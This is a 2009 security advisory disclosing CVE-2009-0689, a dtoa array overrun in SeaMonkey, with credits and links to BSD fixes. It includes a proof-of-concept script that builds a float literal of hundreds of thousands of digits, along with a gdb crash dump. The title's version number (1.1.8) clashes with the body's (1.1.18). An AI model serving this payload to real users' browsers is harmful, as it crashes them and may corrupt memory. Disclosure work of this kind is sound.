SeaMonkey 1.1.8 Remote Array Overrun (Arbitrary code execution) ( Research Advisory )

Advisory Text :

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Hash: SHA1

[ SeaMonkey 1.1.8 Remote Array Overrun (Arbitrary code execution) ]

Author: Maksymilian Arciemowicz and sp3x
http://SecurityReason.com
Date:
- - Dis.: 07.05.2009
- - Pub.: 20.11.2009

CVE: CVE-2009-0689
Risk: High
Remote: Yes

Affected Software:
- - SeaMonkey 1.1.18

Fixed in:
- - SeaMonkey 2.0

NOTE: Prior versions may also be affected.

Original URL:
http://securityreason.com/achievement_securityalert/71

- --- 0.Description ---
The SeaMonkey project is a community effort to develop the SeaMonkey
all-in-one internet application suite (see below). Such a software suite
was previously made popular by Netscape and Mozilla, and the SeaMonkey
project continues to develop and deliver high-quality updates to this
concept. Containing an Internet browser, email & newsgroup client with an
included web feed reader, HTML editor, IRC chat and web development tools,
SeaMonkey is sure to appeal to advanced users, web developers and corporate
users.

- --- 1. SeaMonkey 1.1.18 Remote Array Overrun (Arbitrary code execution)
---
The main problem exist in dtoa implementation. SeaMonkey has the same dtoa
as a KDE, Opera and all BSD systems. This issue has been fixed in Firefox
3.5.4 and fix

http://bonsai.mozilla.org/cvsview2.cgi?diff_mode=context&whitespace_mode=sh
ow&file=jsdtoa.c&branch=&root=/cvsroot&subdir=mozilla/js/src&command=DIFF_F
RAMESET&rev1=3.41&rev2=3.42

has been used to patch SeaMonkey 2.0.

This flaw has been detected in may 2009 and signed SREASONRES:20090625.

http://securityreason.com/achievement_securityalert/63

but fix for SREASONRES:20090625, used by openbsd was not good.
More information about fix for openbsd and similars SREASONRES:20091030,

http://securityreason.com/achievement_securityalert/69

We can create any number of float, which will overwrite the memory. In Kmax
has defined 15. Functions in dtoa, don't checks Kmax limit, and it is
possible to call 16<= elements of freelist array.

- --- 2. Proof of Concept (PoC) ---

- -----------------------
<script>
var a=0.<?php echo str_repeat("9",299999); ?>;
</script>
- -----------------------

If we use SeaMonkey to see this PoC, SeaMonkey will crash. For example

- -----------------------
<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>
- -----------------------

127# gdb seamonkey-bin seamonkey-bin.core
...
#0 0x28df0ecb in ?? ()
...
(gdb) i r
eax 0x0 0
ecx 0x2 2
edx 0xbfbfd2fc -1077947652
ebx 0x28da9b6c 685415276
esp 0xbfbfd2ac 0xbfbfd2ac
ebp 0xbfbfd2c8 0xbfbfd2c8
esi 0xb 11
edi 0xb 11
eip 0x28df0ecb 0x28df0ecb
...

esi = esi = 11

- --- 3. SecurityReason Note ---

Officialy SREASONRES:20090625 has been detected in:
- - OpenBSD
- - NetBSD
- - FreeBSD
- - MacOSX
- - Google Chrome
- - Mozilla Firefox
- - Mozilla Seamonkey
- - KDE (example: konqueror)
- - Opera
- - K-Meleon

This list is not yet closed. US-CERT declared that will inform all vendors
about this issue, however, they did not do it. Even greater confusion
caused new CVE number "CVE-2009-1563". Secunia has informed that this
vulnerability was only detected in Mozilla Firefox, but nobody was aware
that the problem affects other products like ( KDE, Chrome ) and it is
based on "CVE-2009-0689". After some time Mozilla Foundation Security
Advisory
("http://www.mozilla.org/security/announce/2009/mfsa2009-59.html")
was updated with note :
"The underlying flaw in the dtoa routines used by Mozilla appears to be
essentially the same as that reported against the libc gdtoa routine by
Maksymilian Arciemowicz ( CVE-2009-0689)".
This fact ( new CVE number for Firefox Vulnerability )and PoC in javascript
(from Secunia), forced us to official notification all other vendors. We
publish all the individual advisories, to formally show all vulnerable
software and to avoid wrong CVE number. We do not see any other way to fix
this issue in all products.

Please note:
Patch used in Firefox 3.5.4 does not fully solve the problem. Dtoa
algorithm is not optimal and allows remote Denial of Service in Firefox
3.5.5 giving long float number.

- --- 4. Fix ---
NetBSD fix (optimal):
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h

OpenBSD fix:
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c

- --- 5. Credits ---
Discovered by Maksymilian Arciemowicz and sp3x from SecurityReason.com.

- --- 6. Greets ---
Infospec p_e_a pi3

- --- 7. Contact ---
Email:
- - cxib {a.t] securityreason [d0t} com
- - sp3x {a.t] securityreason [d0t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
- - http://securityreason.com/key/sp3x.gpg

http://securityreason.com/
http://securityreason.pl/
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